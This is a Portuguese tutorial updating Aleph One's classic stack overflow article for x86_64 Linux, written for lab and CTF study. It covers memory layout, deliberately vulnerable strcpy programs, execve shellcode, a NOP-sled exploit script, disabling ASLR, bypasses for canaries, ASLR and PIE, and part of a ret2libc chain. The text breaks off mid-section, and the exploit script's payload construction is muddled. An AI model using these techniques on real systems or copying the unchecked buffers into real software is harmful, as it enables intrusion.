Smashing the Stack em 2026: Atualização para x86_64 (PT-BR)
Smashing the Stack em 2026: Atualização para x86_64 (PT-BR)
Introdução
Em novembro de 1996, Aleph One publicou na revista eletrônica Phrack (edição 49) o artigo “Smashing the Stack for Fun and Profit”. Pra mim, esse texto é uma das coisas mais bonitas já escritas na área de segurança. Não é exagero. É o tipo de material que te faz entender que computação de verdade acontece lá embaixo, nos bytes, nos registradores, na memória crua. Ele introduziu milhares de pesquisadores ao mundo da exploração de binários e se tornou referência absoluta na comunidade de segurança ofensiva.
Eu lembro de ter lido esse artigo pela primeira vez e sentido aquele estalo. Foi ele, junto com a conferência H2HC, que despertou em mim o interesse real por exploração de binários. Ver aquelas talks ao vivo, pesquisadores brasileiros quebrando coisas que pareciam impossíveis, e depois voltar pra casa e reler o Aleph One com outros olhos… isso mudou minha trajetória. Tem uma admiração genuína que eu carrego por esse texto e por tudo que ele representa na história do hacking.
No dia a dia eu trabalho mais na parte web, mas exploração de binário é uma área que admiro demais e levo como hobby. Tem algo nesse contato direto com a memória, com os registradores, com o fluxo de execução cru, que me fascina de um jeito diferente. É onde a máquina fica nua, sem abstração nenhuma te protegendo.
O artigo original explicava, de forma didática e progressiva, como funcionava a stack em processadores x86 (32 bits), como variáveis locais e endereços de retorno eram organizados na memória, e como um buffer overflow podia ser explorado para redirecionar o fluxo de execução de um programa e executar código arbitrário (shellcode).
Por que uma atualização?
Passaram-se 30 anos. O mundo mudou bastante:
| Aspecto | 1996 (original) | 2026 (este artigo) |
|---|---|---|
| Arquitetura | x86 (32 bits) | x86_64 (64 bits) |
| Registradores | EIP, ESP, EBP (32 bits) | RIP, RSP, RBP (64 bits) |
| Calling convention | cdecl (args na stack) | System V AMD64 ABI (args em registradores) |
| Endereços | 4 bytes, sem null bytes problemáticos | 8 bytes, endereços canônicos com null bytes |
| Proteções | Nenhuma | NX/DEP, ASLR, Stack Canaries, PIE, RELRO |
| Shellcode | Direto na stack | Requer bypass de NX (ROP/ret2libc) |
O artigo original continua sendo uma excelente introdução conceitual, mas os exemplos práticos não funcionam mais em sistemas modernos sem adaptação significativa. A ideia aqui é manter a abordagem didática do original, mas atualizar tudo para a realidade de 2026.
Para quem é este artigo?
- Iniciantes em exploração de binários que querem entender os fundamentos
- Pesquisadores que leram o original e querem entender as diferenças em x64
- Jogadores de CTF que precisam de uma base sólida em pwn
- Profissionais de segurança que querem entender o que protegem
Pré-requisitos
- Conhecimento básico de C
- Familiaridade mínima com Linux (terminal, compilação com gcc)
- Curiosidade sobre como programas funcionam “por baixo”
Ambiente de laboratório
Todos os exemplos deste artigo foram compilados e testados nesta máquina:
$ uname -a
Linux kali 6.19.11+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.11-1kali1 (2026-04-09) x86_64 GNU/Linux
$ gcc --version
gcc (Debian 15.2.0-16) 15.2.0
$ gdb --version
GNU gdb (Debian 17.1-4) 17.1
Para reproduzir os exemplos, recomendo usar Kali Linux ou qualquer distribuição Linux x86_64 com GCC e GDB (com pwndbg ou gef instalado).
1. Organização da Memória de um Processo
Quando um programa é executado no Linux, o kernel cria um espaço de endereçamento virtual para o processo. Em x86_64, o espaço de endereçamento teórico é de 2⁶⁴ bytes, mas na prática apenas 48 bits são usados (endereços canônicos), resultando em um espaço utilizável de 256 TB.
A organização típica da memória de um processo:
Endereços altos (0x7FFF...)
┌─────────────────────────┐
│ Stack │ ← Cresce para baixo (endereços menores)
│ ↓ │
├─────────────────────────┤
│ │
│ (espaço livre) │
│ │
├─────────────────────────┤
│ ↑ │
│ Heap │ ← Cresce para cima (endereços maiores)
├─────────────────────────┤
│ BSS │ ← Variáveis globais não inicializadas
├─────────────────────────┤
│ Data │ ← Variáveis globais inicializadas
├─────────────────────────┤
│ Text │ ← Código executável (read-only)
└─────────────────────────┘
Endereços baixos (0x0000...)
Diferenças importantes em x86_64
-
Endereços canônicos: Em x86_64, endereços válidos em user space vão de
0x0000000000000000a0x00007FFFFFFFFFFF. Isso significa que endereços de stack sempre começam com0x00007F..., contendo null bytes nos bytes mais significativos. Isso tem implicações diretas para exploração (veremos adiante). -
Tamanho dos ponteiros: Todos os ponteiros têm 8 bytes (64 bits), o que significa que endereços de retorno na stack ocupam 8 bytes em vez de 4.
-
Alinhamento: A ABI System V AMD64 exige que a stack esteja alinhada em 16 bytes antes de uma instrução
call. Isso afeta a construção de payloads.
Verificando na prática
/* memory_layout.c - Visualizar layout de memória */
#include <stdio.h>
#include <stdlib.h>
int global_init = 42; /* segmento Data */
int global_uninit; /* segmento BSS */
int main(int argc, char *argv[]) {
int local_var = 1; /* Stack */
static int static_var = 2; /* segmento Data */
char *heap_ptr = malloc(64); /* Heap */
printf("== Layout de Memória (x86_64) ==\n\n");
printf("[Text] main() = %p\n", (void *)main);
printf("[Data] global_init = %p\n", (void *)&global_init);
printf("[Data] static_var = %p\n", (void *)&static_var);
printf("[BSS] global_uninit = %p\n", (void *)&global_uninit);
printf("[Heap] heap_ptr = %p\n", (void *)heap_ptr);
printf("[Stack] local_var = %p\n", (void *)&local_var);
printf("[Stack] argc = %p\n", (void *)&argc);
free(heap_ptr);
return 0;
}
Compilar e executar:
$ gcc -o memory_layout memory_layout.c -no-pie
$ ./memory_layout
== Layout de Memória (x86_64) ==
[Text] main() = 0x401156
[Data] global_init = 0x404030
[Data] static_var = 0x404034
[BSS] global_uninit = 0x40403c
[Heap] heap_ptr = 0x46e9310
[Stack] local_var = 0x7ffc3f979ee4
[Stack] argc = 0x7ffc3f979edc
Observe: endereços de stack começam com 0x7fff..., e os dois bytes mais significativos são sempre 0x0000 e 0x7f. Isso é crucial para exploração.
2. A Stack em x86_64
A stack é uma região de memória LIFO (Last In, First Out) usada para:
- Armazenar endereços de retorno de funções
- Salvar registradores
- Alocar variáveis locais
- Passar argumentos (parcialmente, veremos a seguir)
Registradores fundamentais
| Registrador | Função |
|---|---|
| RSP (Stack Pointer) | Aponta para o topo da stack (endereço mais baixo em uso) |
| RBP (Base Pointer) | Aponta para a base do stack frame atual |
| RIP (Instruction Pointer) | Endereço da próxima instrução a executar |
Calling Convention: System V AMD64 ABI
Aqui está a diferença mais significativa em relação ao x86 original. No artigo de Aleph One, todos os argumentos de função eram passados pela stack. Em x86_64, os primeiros 6 argumentos inteiros/ponteiro são passados em registradores:
| Argumento | Registrador |
|---|---|
| 1º | RDI |
| 2º | RSI |
| 3º | RDX |
| 4º | RCX |
| 5º | R8 |
| 6º | R9 |
| 7º+ | Stack |
Argumentos de ponto flutuante usam XMM0-XMM7.
O valor de retorno vai em RAX (e RDX para valores de 128 bits).
Implicação para exploração: Não basta mais controlar a stack para controlar argumentos de funções. Pra chamar system("/bin/sh"), por exemplo, precisamos colocar o endereço de "/bin/sh" em RDI, não na stack. Isso torna a exploração mais complexa e é onde técnicas como ROP entram em cena.
Anatomia de um Stack Frame
Quando uma função é chamada em x86_64:
; Chamador (caller)
call funcao ; push RIP (endereço de retorno) na stack, jump para funcao
; Chamado (callee) - prólogo
push rbp ; salva o RBP do chamador
mov rbp, rsp ; estabelece novo frame
sub rsp, N ; aloca espaço para variáveis locais
; ... corpo da função ...
; Chamado (callee) - epílogo
leave ; equivale a: mov rsp, rbp; pop rbp
ret ; pop RIP da stack, jump para esse endereço
O stack frame resultante:
Endereços altos
┌─────────────────────────┐
│ Argumentos 7+ │ ← Se houver mais de 6 args
│ (do chamador) │
├─────────────────────────┤
│ Endereço de retorno │ ← 8 bytes, salvo pelo CALL
│ (saved RIP) │
├─────────────────────────┤ ← RBP aponta aqui
│ RBP salvo │ ← 8 bytes, salvo pelo PUSH RBP
│ (saved RBP) │
├─────────────────────────┤
│ Variáveis locais │ ← Alocadas pelo SUB RSP, N
│ buffer[64] │
│ int x │
│ ... │
├─────────────────────────┤ ← RSP aponta aqui (topo da stack)
│ │
Endereços baixos
Demonstração prática
/* stack_frame.c - Visualizar stack frame */
#include <stdio.h>
#include <stdint.h>
void funcao(int a, int b, int c) {
char buffer[64];
int local = 0xdeadbeef;
register void *rbp_val asm("rbp");
printf("== Stack Frame de funcao() ==\n");
printf("Endereço de buffer: %p\n", (void *)buffer);
printf("Endereço de local: %p\n", (void *)&local);
printf("RBP atual: %p\n", rbp_val);
printf("Saved RBP (em *RBP): 0x%lx\n", *(uint64_t *)rbp_val);
printf("Saved RIP (em *(RBP+8)): 0x%lx\n", *((uint64_t *)rbp_val + 1));
printf("\n");
printf("Distância buffer -> RIP: %ld bytes\n",
(char *)((uint64_t *)rbp_val + 1) - buffer);
printf("Retornando para main em: 0x%lx\n", *((uint64_t *)rbp_val + 1));
}
int main() {
funcao(1, 2, 3);
printf("Retornou normalmente.\n");
return 0;
}
$ gcc -o stack_frame stack_frame.c -fno-stack-protector -no-pie -g -O0
$ ./stack_frame
== Stack Frame de funcao() ==
Endereço de buffer: 0x7fffffffdbd0
Endereço de local: 0x7fffffffdbcc
RBP atual: 0x7fffffffdc10
Saved RBP (em *RBP): 0x7fffffffdc20
Saved RIP (em *(RBP+8)): 0x401266
Distância buffer -> RIP: 72 bytes
Retornando para main em: 0x401266
Retornou normalmente.
Nota: Usamos
-fno-stack-protectorpara desabilitar canários de stack (veremos sobre proteções adiante). Em um cenário real, essa proteção estaria ativa.
3. Buffer Overflow: O Conceito Fundamental
A ideia central é simples: quando dados são escritos além dos limites de um buffer alocado, eles sobrescrevem dados adjacentes na memória. Na stack, isso pode sobrescrever o endereço de retorno salvo (saved RIP), e aí o atacante redireciona o fluxo de execução pra onde quiser.
O exemplo clássico (atualizado para x64)
/* vuln1.c - Buffer overflow básico */
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input); /* Sem verificação de tamanho! */
printf("Você digitou: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Uso: %s <input>\n", argv[0]);
return 1;
}
vulnerable(argv[1]);
printf("Programa encerrou normalmente.\n");
return 0;
}
Compilar sem proteções (para fins didáticos):
$ gcc -o vuln1 vuln1.c -fno-stack-protector -no-pie -z execstack -g
Flags explicadas:
-fno-stack-protector: desabilita stack canaries-no-pie: desabilita Position Independent Executable (endereços fixos)-z execstack: marca a stack como executável (desabilita NX)-g: inclui símbolos de debug
Analisando com GDB
$ gdb ./vuln1
(gdb) disas vulnerable
Dump of assembler code for function vulnerable:
0x0000000000401146 <+0>: push rbp
0x0000000000401147 <+1>: mov rbp,rsp
0x000000000040114a <+4>: sub rsp,0x50 ; 80 bytes para locais
0x000000000040114e <+8>: mov QWORD PTR [rbp-0x48],rdi ; salva argumento
0x0000000000401152 <+12>: mov rdx,QWORD PTR [rbp-0x48]
0x0000000000401156 <+16>: lea rax,[rbp-0x40] ; buffer está em rbp-0x40
0x000000000040115a <+20>: mov rsi,rdx ; src = input
0x000000000040115d <+23>: mov rdi,rax ; dest = buffer
0x0000000000401160 <+26>: call 0x401030 <strcpy@plt>
...
Observações importantes:
bufferestá emRBP - 0x40(64 bytes abaixo de RBP)- O saved RBP está em
RBP + 0x00 - O saved RIP (endereço de retorno) está em
RBP + 0x08 - Distância de buffer até saved RIP: 64 + 8 = 72 bytes
Provocando o crash
$ ./vuln1 $(python3 -c "print('A' * 60)")
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Programa encerrou normalmente.
$ ./vuln1 $(python3 -c "print('A' * 80)")
Segmentation fault (exit code: 139)
O programa crashou com 80 A’s! Vamos entender por quê:
$ gdb ./vuln1
(gdb) run $(python3 -c "print('A' * 80)")
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401182 in vulnerable ()
(gdb) info registers rip rbp rsp
rip 0x401182 0x401182 <vulnerable+60>
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffdb98 0x7fffffffdb98
O RBP foi sobrescrito com ‘AAAA AAAA’ (0x41 = ‘A’). Vamos escrever mais para atingir o RIP:
$ gdb ./vuln1
(gdb) run $(python3 -c "print('A' * 72 + 'B' * 6)")
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb) info registers rip rbp
rip 0x424242424242 0x424242424242
rbp 0x4141414141414141 0x4141414141414141
Controlamos o RIP! O programa tentou executar a instrução no endereço 0x0000424242424242 (os ‘B’s = 0x42, com null bytes nos 2 bytes superiores por causa dos endereços canônicos).
Mapeando o overflow
buffer[64] saved RBP (8) saved RIP (8)
[AAAA...64 bytes...][AAAAAAAA] [BBBBBBBB]
↑ offset 64 ↑ offset 72
Para controlar o RIP, precisamos de exatamente 72 bytes de padding seguidos do endereço desejado.
4. Redirecionando a Execução
Beleza, controlamos o RIP. E agora? O próximo passo é redirecioná-lo para algo útil. No artigo original de Aleph One, a técnica era direta: colocar shellcode na stack e apontar o RIP para ele. Vamos reproduzir isso primeiro (com proteções desabilitadas) e depois evoluir para técnicas modernas.
4.1 Redirecionando para uma função existente
O caso mais simples: redirecionar a execução para uma função que já existe no programa.
/* vuln2.c - Redirect para função existente */
#include <stdio.h>
#include <string.h>
void secret() {
printf("[+] Função secreta executada! Você tem controle do fluxo.\n");
}
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Uso: %s <input>\n", argv[0]);
return 1;
}
vulnerable(argv[1]);
printf("Programa encerrou normalmente.\n");
return 0;
}
$ gcc -o vuln2 vuln2.c -fno-stack-protector -no-pie -z execstack -g
Primeiro, encontrar o endereço de secret():
$ objdump -d vuln2 | grep "<secret>"
0000000000401146 <secret>:
Agora construir o payload: 72 bytes de padding + endereço de secret() em little-endian:
$ python3 -c "
import struct
padding = b'A' * 72
addr = struct.pack('<Q', 0x401146) # Q = unsigned long long (8 bytes), < = little-endian
payload = padding + addr
open('payload.bin', 'wb').write(payload)
"
$ ./vuln2 $(cat payload.bin)
[+] Função secreta executada! Você tem controle do fluxo.
Segmentation fault
Funcionou! O programa executou secret() em vez de retornar normalmente para main(). O segfault no final é esperado porque, após secret() retornar, o stack frame está corrompido.
4.2 O problema dos null bytes em x86_64
Observe o endereço 0x0000000000401146. Em little-endian:
\x46\x11\x40\x00\x00\x00\x00\x00
Há 5 null bytes (\x00). Isso é um problema quando a função vulnerável usa strcpy(), gets(), ou qualquer função que trata \x00 como terminador de string.
No nosso exemplo acima funcionou porque o endereço está no final do payload. Os null bytes terminam a string, mas o endereço já foi escrito na posição correta.
Mas se precisássemos colocar múltiplos endereços (como em uma ROP chain), os null bytes no meio do payload truncariam a cópia. Soluções:
- Usar funções que não param em null bytes:
read(),recv(),fread()copiam N bytes independente do conteúdo - ROP gadgets em endereços sem null bytes: buscar gadgets em regiões de endereço que não contêm
\x00 - Stack pivot: redirecionar RSP para uma região controlada onde o payload foi escrito via
read()
4.3 Shellcode na stack (método clássico, proteções desabilitadas)
No artigo original, Aleph One colocava shellcode diretamente na stack. Vamos reproduzir isso em x64 com proteções desabilitadas:
/* vuln3.c - Shellcode na stack */
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[256]; /* Buffer maior para caber o shellcode */
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Uso: %s <input>\n", argv[0]);
return 1;
}
vulnerable(argv[1]);
return 0;
}
$ gcc -o vuln3 vuln3.c -fno-stack-protector -no-pie -z execstack -g
Shellcode x86_64 para execve(“/bin/sh”)
O shellcode clássico atualizado para 64 bits. Em x64, syscalls usam a instrução syscall (não int 0x80) e os argumentos vão em registradores diferentes:
| Syscall | RAX | RDI | RSI | RDX |
|---|---|---|---|---|
| execve | 59 | filename | argv | envp |
; shellcode_x64.asm - execve("/bin/sh", NULL, NULL)
; Tamanho: 27 bytes, sem null bytes
section .text
global _start
_start:
xor rdx, rdx ; rdx = 0 (envp = NULL)
xor rsi, rsi ; rsi = 0 (argv = NULL)
push rdx ; null terminator na stack
mov rdi, 0x68732f6e69622f ; "/bin/sh" em little-endian
push rdi ; push "/bin/sh\0" na stack
mov rdi, rsp ; rdi = ponteiro para "/bin/sh"
mov al, 59 ; syscall number para execve (evita null bytes)
syscall ; execve("/bin/sh", NULL, NULL)
Os bytes correspondentes:
shellcode = (
b"\x48\x31\xd2" # xor rdx, rdx
b"\x48\x31\xf6" # xor rsi, rsi
b"\x52" # push rdx
b"\x48\xbf\x2f\x62\x69" # movabs rdi, 0x68732f6e69622f
b"\x6e\x2f\x73\x68\x00" # "/bin/sh\0" (NOTA: contém null byte!)
b"\x57" # push rdi
b"\x48\x89\xe7" # mov rdi, rsp
b"\xb0\x3b" # mov al, 59
b"\x0f\x05" # syscall
)
Problema: o mov rdi, "/bin/sh\0" contém um null byte. Versão sem null bytes:
# Shellcode x64 execve("/bin/sh") - 27 bytes, NULL-free
shellcode = (
b"\x48\x31\xf6" # xor rsi, rsi
b"\x56" # push rsi (null terminator)
b"\x48\xbf\x2f\x62\x69" # movabs rdi, 0x68732f2f6e69622f
b"\x6e\x2f\x2f\x73\x68" # "/bin//sh" (// é equivalente a /)
b"\x57" # push rdi
b"\x48\x89\xe7" # mov rdi, rsp
b"\x48\x31\xd2" # xor rdx, rdx
b"\xb0\x3b" # mov al, 59
b"\x0f\x05" # syscall
)
Exploit completo
#!/usr/bin/env python3
"""
Exploit: Stack buffer overflow com shellcode em x64
Alvo: vuln3 (compilado sem proteções)
Objetivo: Demonstração didática de shellcode injection clássico
"""
import struct
import subprocess
import sys
# Shellcode: execve("/bin//sh", NULL, NULL) - 27 bytes, null-free
shellcode = (
b"\x48\x31\xf6"
b"\x56"
b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
b"\x57"
b"\x48\x89\xe7"
b"\x48\x31\xd2"
b"\xb0\x3b"
b"\x0f\x05"
)
# Layout: buffer[256] + saved_rbp[8] + saved_rip[8]
BUFFER_SIZE = 256
OFFSET_RIP = BUFFER_SIZE + 8 # 264 bytes até o RIP
# Endereço do buffer na stack (obtido via GDB)
# NOTA: Este endereço varia! Obter com: (gdb) p &buffer
BUFFER_ADDR = 0x7fffffffdd10 # Ajustar conforme seu ambiente
# NOP sled + shellcode + padding + endereço de retorno
nop_sled = b"\x90" * (OFFSET_RIP - len(shellcode)) # NOP sled até o RIP
payload = shellcode + nop_sled # Shellcode no início, NOPs preenchem
# Alternativa: NOPs primeiro, shellcode depois (mais confiável com NOP sled)
nop_sled_size = OFFSET_RIP - len(shellcode)
payload = b"\x90" * nop_sled_size + shellcode # Hmm, isso não funciona
# Abordagem correta: NOP sled + shellcode + padding + endereço
nop_size = 200
payload = b"\x90" * nop_size # NOP sled
payload += shellcode # Shellcode (27 bytes)
payload += b"A" * (OFFSET_RIP - len(payload)) # Padding até RIP
payload += struct.pack("<Q", BUFFER_ADDR + 50) # Retorno para meio do NOP sled
print(f"[*] Tamanho do payload: {len(payload)} bytes")
print(f"[*] Shellcode: {len(shellcode)} bytes")
print(f"[*] Endereço de retorno: {hex(BUFFER_ADDR + 50)}")
print(f"[*] Executando...")
# Escrever payload em arquivo (evita problemas com null bytes no argv)
with open("/tmp/payload.bin", "wb") as f:
f.write(payload)
print("[*] Payload salvo em /tmp/payload.bin")
print("[*] Execute: ./vuln3 $(cat /tmp/payload.bin)")
Encontrando o endereço do buffer com GDB
$ gdb ./vuln3
(gdb) break vulnerable
(gdb) run AAAA
Breakpoint 1, vulnerable (input=0x7fffffffe1a0 "AAAA") at vuln3.c:5
(gdb) p &buffer
$1 = (char (*)[256]) 0x7fffffffdd10
(gdb) quit
Nota importante: O endereço exato do buffer muda entre execuções quando ASLR está ativo. Com
-no-piee ASLR desabilitado (echo 0 | sudo tee /proc/sys/kernel/randomize_va_space), o endereço é previsível.
Executando o exploit
Com ASLR desabilitado e o endereço correto do buffer, o exploit funciona:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
$ python3 exploit_shellcode.py
[*] Shellcode size: 48 bytes
[*] Payload: 272 bytes
[*] Retorno: 0x7fffffffdb34
[+] Starting local process './vuln3': pid 720595
[+] Shellcode executado! Shell obtido:
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$
O shellcode foi executado na stack e obtivemos um shell. Isso só funciona porque compilamos com -z execstack (NX desabilitado). Em binários modernos, a stack não é executável e precisamos de técnicas como ROP.
4.4 NOP Sled: Por que ainda é relevante
O NOP sled (sequência de instruções NOP = \x90) serve como “zona de pouso”. Não precisamos acertar o endereço exato do shellcode, basta cair em qualquer ponto do NOP sled e a execução “desliza” até o shellcode.
┌──────────────────────────────────────────────────────────┐
│ NOP NOP NOP NOP ... NOP NOP │ SHELLCODE │ PADDING │ RET │
│ \x90\x90\x90\x90...\x90\x90│ │ AAAA... │ ADDR │
└──────────────────────────────────────────────────────────┘
↑
RET aponta para algum lugar aqui
(qualquer NOP funciona)
Em x64, com endereços de 48 bits efetivos e ASLR, o NOP sled sozinho não é suficiente para exploração confiável. Mas em cenários controlados (CTF, lab), continua sendo útil.
5. Proteções Modernas: O que Mudou Desde 1996
Em 1996, não existia nenhuma proteção contra buffer overflow. Zero. Você estourava o buffer, sobrescrevia o RIP, e era isso. Hoje, sistemas modernos implementam múltiplas camadas de defesa. Entender cada uma é essencial pra saber como (e se) podem ser contornadas.
5.1 NX/DEP (No-eXecute / Data Execution Prevention)
O que faz: Marca regiões de memória como não-executáveis. A stack, heap e segmentos de dados não podem executar código. Apenas o segmento .text é executável.
Implementação: Bit NX no page table entry (hardware, suportado desde AMD64).
Impacto: Shellcode na stack não executa mais. O processador gera uma exceção ao tentar executar instrução em página marcada como NX.
Verificar:
$ checksec --file=./programa
[*] '/home/kali/programa'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
$ readelf -l ./programa | grep GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10
↑ RW (sem X) = NX ativo
Bypass: Return-Oriented Programming (ROP), ret2libc, ret2plt. A ideia é reutilizar código executável existente em vez de injetar novo código.
5.2 ASLR (Address Space Layout Randomization)
O que faz: Randomiza os endereços base de stack, heap, bibliotecas compartilhadas e (com PIE) do próprio executável a cada execução.
Implementação: Kernel Linux (desde 2.6.12, 2005).
Impacto: Endereços não são previsíveis. Não é possível hardcodar endereços de retorno, gadgets ou funções de biblioteca.
Verificar:
$ cat /proc/sys/kernel/randomize_va_space
2
# 0 = desabilitado, 1 = stack/libs/mmap, 2 = tudo (inclui heap)
# Demonstrar randomização
$ for i in $(seq 1 5); do ./memory_layout 2>/dev/null | grep Stack; done
[Stack] local_var = 0x7ffe9b82fb94
[Stack] local_var = 0x7ffcadb47284
[Stack] local_var = 0x7ffcf7ba2734
[Stack] local_var = 0x7fff2e6f28a4
[Stack] local_var = 0x7ffcadb25fa4
Cada execução tem endereços diferentes!
Bypass:
- Information leak: vazar um endereço de memória e calcular offsets relativos
- Brute force: em 32 bits era viável (2¹⁶ possibilidades para stack), em 64 bits é impraticável
- Partial overwrite: sobrescrever apenas os bytes menos significativos (que não mudam)
- Format string: vazar endereços da stack via
%p - ret2plt: endereços de PLT são fixos quando PIE está desabilitado
5.3 Stack Canaries (Stack Smashing Protection)
O que faz: Insere um valor aleatório (canário) entre as variáveis locais e o saved RBP/RIP. Antes de retornar, a função verifica se o canário foi modificado.
Implementação: GCC (-fstack-protector, -fstack-protector-all, -fstack-protector-strong).
Layout com canário:
┌─────────────────────────┐
│ Endereço de retorno │ ← saved RIP
├─────────────────────────┤
│ RBP salvo │ ← saved RBP
├─────────────────────────┤
│ CANÁRIO (8 bytes) │ ← Valor aleatório, primeiro byte = \x00
├─────────────────────────┤
│ Variáveis locais │
│ buffer[64] │
├─────────────────────────┤ ← RSP
Se o buffer overflow sobrescrever o canário, a verificação falha e o programa aborta:
*** stack smashing detected ***: terminated
Aborted (exit code: 134)
Características do canário em x64 Linux:
- 8 bytes de tamanho
- Primeiro byte é sempre
\x00(null), o que impede leak via string functions - Gerado aleatoriamente no início do processo (armazenado em TLS:
fs:0x28) - Verificado com
xorantes doret
Código gerado pelo GCC com canário:
; Prólogo
mov rax, QWORD PTR fs:0x28 ; Carrega canário do TLS
mov QWORD PTR [rbp-0x8], rax ; Salva na stack
; ... corpo da função ...
; Epílogo (antes do ret)
mov rax, QWORD PTR [rbp-0x8] ; Lê canário da stack
xor rax, QWORD PTR fs:0x28 ; Compara com valor original
jne __stack_chk_fail ; Se diferente → abort
leave
ret
Bypass:
- Information leak: vazar o valor do canário (format string, over-read)
- Brute force byte-a-byte: em processos que fazem fork() sem re-randomizar (ex: servidores)
- Overwrite sem passar pelo canário: write-what-where primitives, index out-of-bounds
- Sobrescrever o canário com o valor correto: se conseguir leak primeiro
5.4 PIE (Position Independent Executable)
O que faz: Compila o executável como código posição-independente, permitindo que o ASLR randomize também o endereço base do próprio programa (não apenas libs).
Impacto: Endereços de funções do programa, gadgets ROP no binário e strings no .rodata são todos randomizados.
Verificar:
$ file programa
programa: ELF 64-bit LSB pie executable, x86-64, ...
# ↑ "pie executable" vs "executable"
$ checksec --file=./programa
PIE: PIE enabled
Bypass: Necessário leak de endereço do binário para calcular base. Partial overwrite dos bytes menos significativos (que não mudam com PIE).
5.5 RELRO (Relocation Read-Only)
O que faz: Protege a GOT (Global Offset Table) contra sobrescrita.
- Partial RELRO: GOT é preenchida lazily, mas
.got.plté writable - Full RELRO: Todas as relocações são resolvidas no load time, GOT inteira é marcada read-only
Impacto: Com Full RELRO, não é possível sobrescrever entradas da GOT para redirecionar chamadas de função.
Bypass: Com Full RELRO, atacar outros alvos: hooks de malloc, __free_hook, __malloc_hook (removidos em glibc 2.34+), vtables, ponteiros de função em estruturas.
5.6 Fortify Source
O que faz: Substitui funções inseguras por versões com verificação de tamanho em tempo de compilação e execução (__strcpy_chk, __memcpy_chk, etc.).
Ativação: -D_FORTIFY_SOURCE=2 (padrão em muitas distros com -O2).
Impacto: strcpy(buffer, input) é substituído por __strcpy_chk(buffer, input, sizeof(buffer)) quando o compilador consegue determinar o tamanho do buffer.
5.7 Resumo de proteções e compilação
# Compilar SEM proteções (para estudo):
gcc -o vuln vuln.c -fno-stack-protector -no-pie -z execstack -Wl,-z,norelro
# Compilar COM todas as proteções (produção):
gcc -o prog prog.c -fstack-protector-strong -pie -fPIE -Wl,-z,relro,-z,now -D_FORTIFY_SOURCE=2 -O2
# Verificar proteções de um binário:
checksec --file=./programa
5.8 Tabela de impacto nas técnicas de exploração
| Proteção | Shellcode na stack | ret2libc | ROP | Format string |
|---|---|---|---|---|
| NX | ❌ Bloqueia | ✅ Funciona | ✅ Funciona | ✅ Funciona |
| ASLR | Dificulta (endereço) | ❌ Endereço desconhecido | ❌ Gadgets desconhecidos | ✅ Pode vazar endereços |
| Canary | ❌ Detecta overflow | ❌ Detecta overflow | ❌ Detecta overflow | ✅ Pode vazar canário |
| PIE | Dificulta | ❌ PLT randomizado | ❌ Gadgets randomizados | ✅ Pode vazar base |
| Full RELRO | N/A | GOT read-only | GOT read-only | GOT read-only |
Na prática: em um binário moderno com todas as proteções, a exploração requer encadeamento. Algo como: format string para leak → calcular endereços → ROP chain com gadgets corretos → bypass de canário se necessário. É um quebra-cabeça, e é exatamente isso que torna a área tão interessante.
6. Return-to-libc (ret2libc) em x86_64
Com NX habilitado, não podemos executar shellcode na stack. A solução: reutilizar código que já é executável, como funções da libc (system(), execve(), etc.).
6.1 A diferença fundamental em x64
No x86 (32 bits), ret2libc era simples porque argumentos eram passados pela stack:
# x86 ret2libc (32 bits) - artigo original
[buffer padding][addr system()][addr exit()][addr "/bin/sh"]
↑ sobrescreve RIP ↑ retorno de system ↑ argumento na stack
Em x86_64, o primeiro argumento vai em RDI, não na stack. Precisamos de um gadget ROP que coloque o valor desejado em RDI antes de chamar system():
# x64 ret2libc
[buffer padding][gadget: pop rdi; ret][addr "/bin/sh"][addr system()]
↑ sobrescreve RIP ↑ vai para RDI ↑ chamado após pop+ret
6.2 Exemplo prático: ret2libc com NX ativo
/* vuln4.c - ret2libc em x64 */
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Uso: %s <input>\n", argv[0]);
return 1;
}
printf("system() está em: %p\n", (void *)system); /* Leak proposital para didática */
vulnerable(argv[1]);
return 0;
}
# NX ativo, mas sem ASLR, canário e PIE para simplificar
$ gcc -o vuln4 vuln4.c -fno-stack-protector -no-pie -g
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Desabilitar ASLR temporariamente
Passo 1: Encontrar endereços necessários
# Endereço de system()
$ gdb ./vuln4
(gdb) break main
(gdb) run AAAA
(gdb) p system
$1 = {int (const char *)} 0x7ffff7e17290 <__libc_system>
# Endereço de "/bin/sh" na libc
(gdb) find &system, +9999999, "/bin/sh"
0x7ffff7f7c031
(gdb) x/s 0x7ffff7f7c031
0x7ffff7f7c031: "/bin/sh"
Alternativa via CLI:
# Encontrar "/bin/sh" na libc
$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
1b3d88 /bin/sh
# Base da libc (com ASLR desabilitado, verificar em /proc/PID/maps)
$ ldd ./vuln4 | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7d80000)
# Endereço absoluto de "/bin/sh" = base_libc + offset
# 0x7ffff7d80000 + 0x1b3d88 = 0x7ffff7f33d88 (exemplo, verificar no seu sistema)
Passo 2: Encontrar gadget “pop rdi; ret”
$ ROPgadget --binary ./vuln4 | grep "pop rdi"
0x0000000000401203 : pop rdi ; ret
# Se não encontrar no binário, buscar na libc:
